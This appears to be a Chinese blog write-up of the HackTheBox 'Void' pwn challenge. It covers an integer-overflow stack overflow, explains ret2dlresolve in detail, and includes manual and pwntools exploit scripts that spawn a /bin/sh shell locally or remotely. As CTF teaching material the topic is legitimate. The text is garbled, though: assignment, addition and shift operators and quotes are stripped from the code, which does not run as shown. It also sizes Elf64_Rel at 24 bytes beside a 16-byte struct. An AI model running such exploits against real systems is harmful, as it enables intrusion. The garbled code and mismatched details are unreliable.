首页
/
行业洞察
/
正文
INDUSTRY INSIGHT · 深度
HTB Void Pwn题复盘:整型溢出与ret2dlresolve利用实战
📅 2026/9/29 3:42:45
✍️ 爱科研究院
👁 阅读 3,247
上个周末在HTB上刷了一道叫Void的pwn题做完之后想明白了很多一直没吃透的东西。这道题的核心考点是进阶ROP里的ret2dlresolve而且在漏洞入口上还藏了个整型溢出的小弯子可以说是把二进制利用里“查保护、找漏洞、构造利用链、调试排错”这套完整流程都串起来了。我把它完整复盘一下从环境配置到原理推导再到一步步搓exp最后把踩过的坑和排查思路也一并列出来。这道题非常适合已经掌握基础栈溢出、知道ret2csu或ropgadget是什么、但还没系统搞过动态链接解析机制的pwn学习者。如果你连checksec都没跑过也可以先跟着环境配置部分把工具链搭好再回来啃原理效果会更好。1. 入手Void前先聊聊这道题考什么Void是一道64位ELF的pwn挑战保护策略很典型NX开启、Partial RELRO、没有PIE。这意味着栈不可执行GOT表还能改程序基址固定。拿到这种配置的题目很多人第一反应是泄露libc地址然后ret2libc但Void这台机器有个明显特点——程序里的输出函数非常有限泄露路径很别扭。这时候ret2dlresolve就派上用场了不需要知道libc版本不需要泄露地址直接让动态链接器帮我们把system的地址解析出来并写进GOT一次搞定。从难度上看Void比常见的入门栈溢出题高一个台阶但比那些需要堆利用或SROP的题要温和得多。它考察的核心是你是否真正理解延迟绑定的机制以及是否能在栈上手工伪造一份动态链接器能认出来的“伪符号表”。做完这道题你对PLT、GOT、_dl_runtime_resolve这套东西的认知会从“会用工具”升级到“懂原理”。1.1 为什么偏偏是ret2dlresolve先看场景。程序是64位开了NX栈不可执行没开PIE地址固定RELRO是Partial意味着GOT表项可写。经典做法是栈溢出后ROP调用puts泄露putsgot然后靠libc版本算出system地址再调system(/bin/sh)。这套路很成熟但它依赖一个前提程序里得有能用的输出函数而且你得有libc的版本信息。Void的问题在于程序主逻辑里几乎不打印任何用户可控的字符串也没有现成的puts或printf调用点可以被ROP直接复用。即便你硬用write或puts的PLT泄露回来的地址还需要额外一次输入来二次利用这在输入次数受限的情况下会很痛苦。ret2dlresolve的思路完全绕开了libc版本问题。它利用的是动态链接器在首次调用某个外部函数时会根据reloc_arg去动态库中解析真实地址、回填GOT这一行为。我们只要在栈上伪造一个看起来合法的Elf64_Rel结构再配合一个指向伪符号名的字符串地址把控制流劫持到PLT0动态链接器就会帮我们把system的真实地址解析出来然后直接跳到system执行。这整个过程不需要知道libc的加载基址也不需要泄露任何地址。1.2 pwn环境配置工具链是做题的地基在与Void正面对抗之前先把环境收拾利落。我用的是Kali虚拟机但说实话Kali本身不是必须的任何带gcc、python3、gdb的Linux发行版都行。关键是下面这几样要装齐。第一是pwntools这是写exp的必需品。安装很简单一条命令的事。如果在Kali上遇到权限问题注意用虚拟环境或加--user。第二是pwndbg或gef这是gdb的插件能极大提升调试效率。pwndbg的特点是启动快、布局稳定gef的功能更花哨一点两者选一个就行。第三是checksecpwntools自带了这个工具也可以用它来分析二进制文件的安全属性。另外建议装一个one_gadget虽然ret2dlresolve用不上但其他题经常会用到。环境配置这块有个细节容易忽略Ubuntu 22.04及以上版本默认带了pwninit或需要手动设置LD_PRELOAD来匹配远程libc但Void这类题不依赖远程libc版本所以本地只要能跑通exp逻辑就够用了。如果你本地是Ubuntu 20.04而远程是其他环境ret2dlresolve的兼容性很好基本不会因为libc版本差异而失败。2. 初步侦察checksec与漏洞定位拿到题目文件之后第一件事不是急着反汇编而是先跑checksec。这一步能告诉你这道题的利用边界在哪里。2.1 checksec结果逐项解读用checksec --filevoid看一眼输出我这边看到的保护状态大致是这样保护项状态对利用的影响Archamd64-64-little64位程序函数参数走寄存器ROP要拼pop rdi; retNXEnabled栈不可执行shellcode直接废掉必须走ROPStack CanaryDisabled缓冲区溢出时不用考虑canary泄露直接覆盖返回地址PIEDisabled程序基址固定PLT、GOT、bss段地址都是写死的RELROPartialGOT表项可写但_dl_runtime_resolve相关的表不可写正好配合ret2dlresolve把这几个状态放到一起看这道题的意图就非常明显了没有canary溢出点就是为我们准备的NX开启限制我们用ROPPIE关闭所有地址都已知Partial RELROGOT可写但不是完全可写意味着我们不能轻易用write改GOT来劫持流程Full RELRO下GOT只读另说。2.2 反汇编定位整型溢出藏在哪里用objdump -d void或直接在pwndbg里disass main。Void这道题的漏洞点隐藏在读取函数里表面上看是一段很普通的栈缓冲区写入但长度参数存在整型溢出问题。简单说程序在某个分支里会检查用户输入的长度是否小于一个常量如果满足条件就调用read把数据读入栈缓冲区。问题在于这个长度变量是一个有符号整数而程序只做了上限检查却没做下限检查。当我们传入一个负数时它能够通过if (len 64)的判断但在read内部这个负数会被转换成巨大的无符号数导致实际读取长度远超栈缓冲区大小栈溢出就这么诞生了。实际操作的时候你不需要真的去抠汇编里每一行的语义可以先用cyclic生成一个特征字符串通过崩溃时的RIP值算出偏移。我这边算出来的偏移是offset 40意味着从缓冲区开头到返回地址刚好40字节。这个偏移在后面的每个payload里都会用到。这里顺便说一句整型溢出在CTF里经常跟栈溢出搭配出场本质上是“上游检查宽松下游转换严格”。做题时遇到read(0, buf, n)这种调用一定要看看n是不是被用户输入控制的如果控制再往上追溯它是怎么被校验的往往就能找到突破口。3. ret2dlresolve原理让动态链接器当你的帮手要写好这个exp光会用pwntools的Ret2dlresolvePayload是不够的你必须清楚动态链接器在解析外部符号时到底做了什么。否则一旦payload出了问题你连从哪里开始调试都不知道。3.1 从PLT/GOT到_dl_runtime_resolve程序调用一个外部函数比如read时编译后的代码并不会直接跳到libc里的read地址而是跳到PLT表的一个桩。PLT桩的指令大致是jmp *GOT[n]。在首次调用之前GOT里存放的并不是libc函数的地址而是PLT桩下一条指令的地址。当jmp落入这个地址后会执行push reloc_index; jmp PLT0最后进入_dl_runtime_resolve。_dl_runtime_resolve拿到reloc_index后会用它从.rel.plt段取出对应的Elf64_Rel条目再根据这个条目里的r_info得出符号在.dynsym表中的下标从而取出Elf64_Sym最后根据st_name在.dynstr里找到符号名调用dlsym完成真正的解析。解析完成后动态链接器会把结果写回GOT表项下次再调用就跳过了解析过程。这就是延迟绑定的完整链路。ret2dlresolve的核心就是我们自己在栈上伪造一份reloc_arg所指向的“伪重定位条目”同时把.dynsym和.dynstr的地址替换成我们伪造的数据区让动态链接器在解析时找到的符号名不是read而是system。3.2 伪造三张表elf64_rel、elf64_sym和字符串64位下.rel.plt中的每个条目是Elf64_Rel结构24字节定义是typedef struct { Elf64_Addr r_offset; // 8字节GOT表项地址解析后回写的位置 Elf64_Xword r_info; // 8字节高32位是.dynsym表下标低32位是重定位类型 } Elf64_Rel;.dynsym里的Elf64_Sym结构是24字节typedef struct { Elf64_Word st_name; // 4字节符号名在.dynstr中的偏移 unsigned char st_info; // 1字节符号绑定和类型 unsigned char st_other; Elf64_Half st_shndx; Elf64_Addr st_value; Elf64_Xword st_size; } Elf64_Sym;我们要做的是在一个可写区域一般是bss段里构造这样一块数据伪造的Elf64_Rel条目r_offset指向某个可写的GOT表项r_info中符号下标指向伪造的Elf64_Sym类型为R_X86_64_JUMP_SLOT数值7。伪造的Elf64_Sym条目st_name指向伪造字符串区域中system的位置st_info设为0x12全局函数其他字段可以填0。伪造的字符串区域system\x00/bin/sh\x00。动态链接器在解析时会拿着reloc_arg去.rel.plt的起始地址加偏移量取出我们伪造的Elf64_Rel接着用r_info中的符号下标去.dynsym起始地址加偏移取出伪造的Elf64_Sym再根据st_name去.dynstr起始地址加偏移找到system这个字符串。整个过程里我们唯一需要控制好的是让动态链接器在做这些运算时刚好“落在”我们伪造的数据上。3.3 64位下为什么比32位麻烦32位的ret2dlresolve相对简单Elf32_Rel只有8字节符号表结构也小偏移计算容易。64位的问题在于结构体变大地址和字段的偏移都得仔细算清楚尤其是r_info中的符号下标一旦计算错误动态链接器会从错误的Elf64_Sym开始解析直接崩溃。另外64位程序里r_info的值需要精确满足(sym_index 32) | R_X86_64_JUMP_SLOT。sym_index是我们伪造的Elf64_Sym相对于.dynsym段起始地址的偏移除以24得到的。如果你在伪造Elf64_Rel时把r_info里的索引填错了解析时要么段错误要么解析出来是个完全不对的函数地址。在实际构造payload时我的建议是先把伪造区域的起始地址固定为bss段的某个偏移比如fake_start bss_addr 0x200然后在这个区域内按照fake_rel - fake_sym - fake_str的顺序排练数据再用公式反推reloc_arg fake_rel - .rel.plt起始地址和sym_index (fake_sym - .dynsym起始地址) / 24。这些计算如果用pwntools的Ret2dlresolvePayload会自动处理但手工算一遍能加深理解也方便排查。4. 完整利用链设计与exp实现下面进入正题怎么一步步把利用链搭起来。我会先讲思路和数据布局再给出手工构造方式最后给出用pwntools批量生成的成品exp。4.1 利用思路与整体流程Void的漏洞入口是整型溢出造成的栈溢出偏移为40字节。程序只有一次向用户读取输入的机会吗不是关键在于我们能控制ROP链去调用read从而实现多次输入。典型做法是第一次进入栈溢出时ROP链先调用read(0, fake_addr, length)把伪造的重定位数据和第二阶段ROP链一起读到bss段然后返回到PLT0并以reloc_arg为参数触发_dl_runtime_resolve完成system的解析和调用。整体数据布局可以分成两部分第一部分在栈上溢出到返回地址后依次排列read调用的参数、返回地址、PLT0地址、reloc_arg、以及/bin/sh字符串地址或栈上的参数地址。第二部分在bss段fake_addr处存放Elf64_Rel、Elf64_Sym、字符串system\x00/bin/sh\x00。由于PIE未开启bss段地址固定通常read的fake_addr可以选bss_addr 0x800这样的位置确保不会跟程序原有数据冲突。4.2 手工构造核心结构先把需要用到的地址列出来。假设我们从ELF里拿到以下关键地址.plt.plt0 0x400630 # PLT0入口 .plt.read_got 0x601018 # readgot .plt.read_plt 0x400640 # readplt .rel.plt 0x4003e0 # 重定位表段地址 .dynsym 0x4002b8 # 动态符号表段地址 .dynstr 0x400448 # 动态字符串表段地址 bss_addr 0x601080 # .bss段起始地址然后选择伪造区起始地址fake_start bss_addr 0x400在这个区域的偏移布局如下fake_rel:fake_start 024字节的Elf64_Relfake_sym:fake_start 0x2024字节的Elf64_Symfake_str:fake_start 0x40存放system\x00/bin/sh\x00其中fake_rel的r_offset指向一个可写GOT表项比如readgot因为解析成功后动态链接器会把system地址写到这里。r_info的计算方式是sym_index (fake_sym - dynsym) // 24 r_info (sym_index 32) | 7fake_sym的st_name是fake_str - dynstr的偏移因为动态链接器会拿着这个偏移去.dynstr的起始地址找字符串。reloc_arg的计算方式是reloc_arg fake_rel - rel_plt这个值会被PLT0压栈随后传给_dl_runtime_resolve。整个手工构造过程我强烈建议你至少手写一次哪怕最后用工具生成也要能对得上账。4.3 首段exp手工ROP链先给出手工构造的版本便于理解调用顺序。from pwn import * elf ELF(./void) context.arch amd64 context.log_level debug offset 40 pop_rdi_ret 0x4007d3 # 通过 rop gadgets 找到 pop_rsi_r15_ret 0x4007d1 read_plt elf.plt[read] plt0 0x400630 bss 0x601080 fake_start bss 0x400 # 手工算 rel_plt 0x4003e0 dynsym 0x4002b8 dynstr 0x400448 fake_rel fake_start 0x0 fake_sym fake_start 0x20 fake_str fake_start 0x40 sym_index (fake_sym - dynsym) // 24 r_info (sym_index 32) | 7 reloc_arg fake_rel - rel_plt # 第一阶段payload调用read把第二阶段数据读到fake_start stage1 bA * offset stage1 p64(pop_rdi_ret) p64(0) # fd stdin stage1 p64(pop_rsi_r15_ret) p64(fake_start) p64(0) # buf fake_start stage1 p64(read_plt) # 调用 read stage1 p64(plt0) # 返回后进 PLT0 stage1 p64(reloc_arg) # 必须作为PLT0压栈的参数 stage1 p64(fake_str 8) # /bin/sh 的地址 # 第二阶段数据手工伪造结构 stage2 b stage2 p64(elf.got[read]) # r_offset写回system地址 stage2 p64(r_info) # r_info stage2 bB * 8 # 对齐填充到 fake_sym stage2 p32(fake_str - dynstr) # st_name stage2 p32(0x12) # st_info stage2 p64(0) p64(0) p64(0) # st_shndx/st_value/st_size stage2 bsystem\x00/bin/sh\x00 # 字符串这里特别说明一下为什么return到plt0之后要跟一个reloc_argplt0的指令是push reloc_index; jmp _dl_runtime_resolve这个reloc_index是从栈上取的。所以当ROP链返回到plt0时栈顶必须是我们要传的reloc_arg。如果栈布局错了_dl_runtime_resolve拿到的就是一个垃圾索引整个解析就会崩溃。4.4 pwntools一键生成Ret2dlresolvePayload手工构造有点繁琐但能让你彻底理解机制。如果你只是想快速打通pwntools提供了封装好的类。关键代码是这样的from pwn import * elf ELF(./void) rop ROP(elf) dlresolve Ret2dlresolvePayload(elf, symbolsystem, args[/bin/sh]) bss elf.bss() data_addr bss 0x400 rop.raw(bA * 40) rop.read(0, data_addr, len(dlresolve.payload)) rop.ret2dlresolve(dlresolve) payload rop.chain()接下来把ROP链发送给程序然后再把dlresolve.payload发送过去就完成了整个利用。Ret2dlresolvePayload会自动计算reloc_arg、r_info、符号名偏移并生成符合动态链接器要求的数据块。它甚至会把system的调用参数也安排好。这里有一个经验当你刚开始接触ret2dlresolve时先用pwntools打通再去手工构造和调试这样能建立“工具产出的结果到底是什么”的直观印象。反过来如果一上来就手搓链路太长很容易因为某个偏移算错而卡壳。4.5 完整exp与运行验证下面是一个集成了本地与远程模式的完整expfrom pwn import * context.arch amd64 context.log_level info def exploit(io): elf ELF(./void) rop ROP(elf) dlresolve Ret2dlresolvePayload(elf, symbolsystem, args[/bin/sh]) data_addr elf.bss() 0x400 rop.raw(bA * 40) rop.read(0, data_addr, len(dlresolve.payload)) rop.ret2dlresolve(dlresolve) payload rop.chain() io.send(payload) io.send(dlresolve.payload) io.interactive() if __name__ __main__: mode sys.argv[1] if len(sys.argv) 1 else local if mode local: io process(./void) else: io remote(target_host, 1337) exploit(io)本地跑通后使用ROP对象打印出整条链也能直观看到它塞了哪些gadget。如果在本地运行时没有反应优先检查是否卡在read第二次输入上即payload是否完整发出。5. 踩坑实录调试与常见问题每次写pwn exp最耗时间的不是想利用链而是排错。ret2dlresolve这道题有几个坑我挨个踩了一遍列出来给你当速查表。5.1 栈对齐问题导致system崩溃64位程序调用system时栈必须满足16字节对齐否则会遇到movaps指令触发的段错误。这个错误特别隐蔽因为它在调用system后的一两条指令内就崩了而且崩的位置离我们的ROP链很远看起来毫无征兆。解决方法有两个一是在ROP链里找一个retgadget在进入system之前多执行一次ret让栈指针移动8字节对齐栈二是调整ROP链的结构在合适位置插入一个额外的ret。pwntools的ROP类在检测到对齐问题时也会自动插入ret。我当时遇到的情况是第一次打通后/bin/sh已经启动但立刻报SIGSEGV后来加上一个retgadget就稳了。5.2 read次数不够payload被截断很多ret2dlresolve的题漏洞点只允许你触发一次栈溢出但利用链却需要两次read一次读完整个ROP链另一次读伪造结构。如果程序有额外限制或者payload太长很容易出现“链没走完就断了”的情况。这种时候的排查思路是先用strace观察程序总共调用了多少次read再确认每次read返回的长度是否等于预期。如果read返回长度不够可能是因为ROP链调用的read第三个参数写小了或者因为发送payload时本地与远程的缓冲行为不同。我在做这道题时就碰到过第一次发送的ROP链太长超过了程序原始read允许的长度导致返回地址没覆盖成功。解决办法是把第一阶段ROP链精简或者把伪造数据放到更靠后的偏移位置。5.3 本地通了远程却连不上这种问题在ret2dlresolve里不算罕见但要分情况讨论。如果远程libc版本和你本地不一致system的解析会因符号版本问题失败但如果利用的是动态链接器解析机制通常不会受到libc版本影响。那影响远程成功率最大的因素其实是地址布局。具体来说远程环境的bss段起始地址可能和本地一样因为PIE关闭但如果你在exp里硬编码了某个GOT地址或reloc偏移在远程就可能错位。所以我写这种exp时所有地址都从ELF对象动态获取绝不硬编码。另一个因素是远程环境的read缓冲区大小或网络延迟发送payload后最好等一下再发送第二段数据避免粘包。5.4 常用调试技巧用gdb和strace还原现场如果exp跑不起来我一般按这套顺序排查。先启动本地进程并用pwndbg附加调试在_dl_runtime_resolve附近下断点观察它拿到的reloc_arg是否是我们构造的值。可以这样下断b _dl_runtime_resolve如果断不下来说明程序压根没走到PLT0问题出在ROP链的控制流上如果能断下来但解析失败就检查伪造的Elf64_Rel和Elf64_Sym内容。在pwndbg里用x/8gx fake_start直接查看伪造区域的内存布局跟理论值一一比对。strace也非常有用能直接看到程序调用了哪些系统调用、参数是什么、返回多少字节。如果看到read的返回值不是预期长度优先检查发送时机和payload拼接。我还有一个习惯在使用pwntools的Ret2dlresolvePayload时先打印出它生成的payload内容和内部的计算结果再对比手工构造是否正确。这样做既能验证工具是否靠谱也能排查是不是某个字段在转换过程中出了问题。踩完这些坑后你会发现ret2dlresolve其实并不神秘。它本质上就是一次“骗过动态链接器”的ROP变体核心在于理解reloc_arg、Elf64_Rel、Elf64_Sym和符号名之间的索引关系。Void这道题把整型溢出和这个技术点缝合在一起做一遍下来既练了漏洞挖掘又撸了一遍链接机制非常划算。如果你正在从基础栈溢出往更高级的ROP进阶拿这道题当跳板应该能少走不少弯路。
📌 标签:
工业官网
设计趋势
AI 建站
SEO
获取完整报告 →
RELATED ARTICLES
推荐阅读
2026/9/29 3:37:45
Model-Optimizer:面向RTX 4060等边缘GPU的模型压缩与TensorRT INT8部署实战
2026/9/29 3:37:45
Codex CLI 终端部署与 Skill 技能使用全攻略:TaoToken 统一 Key 配置实战
2026/9/29 3:37:45
【OpenClaw 源码解析】AI 助手总失忆?用 TaoToken 统一 Key 打通记忆配置,决策不再丢
2026/9/29 6:18:02
Nacos注册中心生产级部署与避坑实操指南
2026/9/29 6:18:02
模型优化实战:量化、剪枝、蒸馏到ONNX与TensorRT部署
2026/9/29 6:18:02
Qwen大模型遥感地物智能解译:LoRA微调与推理部署实战
2026/9/29 6:18:02
从Paperclip到自主编码智能体:目标函数、repl与验证闭环的工程实践
2026/9/29 6:18:02
LLM推理优化实战:从PyTorch到TensorRT的三层调优方法论
2026/9/29 6:13:01
ESP32 ESP-IDF + VSCode 开发环境搭建与避坑指南
2026/9/29 0:02:32
开源模型端侧落地实战:量化、推理加速与Agent上下文管理
2026/9/29 0:02:32
AI Evals实战指南:从零搭建LLM应用评估体系与CI/CD集成
2026/9/29 0:02:32
Java采购管理系统实战:从数据库设计到事务一致性
2026/9/28 2:37:38
网站建设的英语怎么说?别只背单词,看完这套安全完整流程才敢上线
2026/9/28 5:00:42
新手入门看这篇:建设网站加盟避坑指南与SEO实操
2026/9/28 8:17:28
论文AIGC疑似度是什么意思?想查论文AI率有哪些免费工具?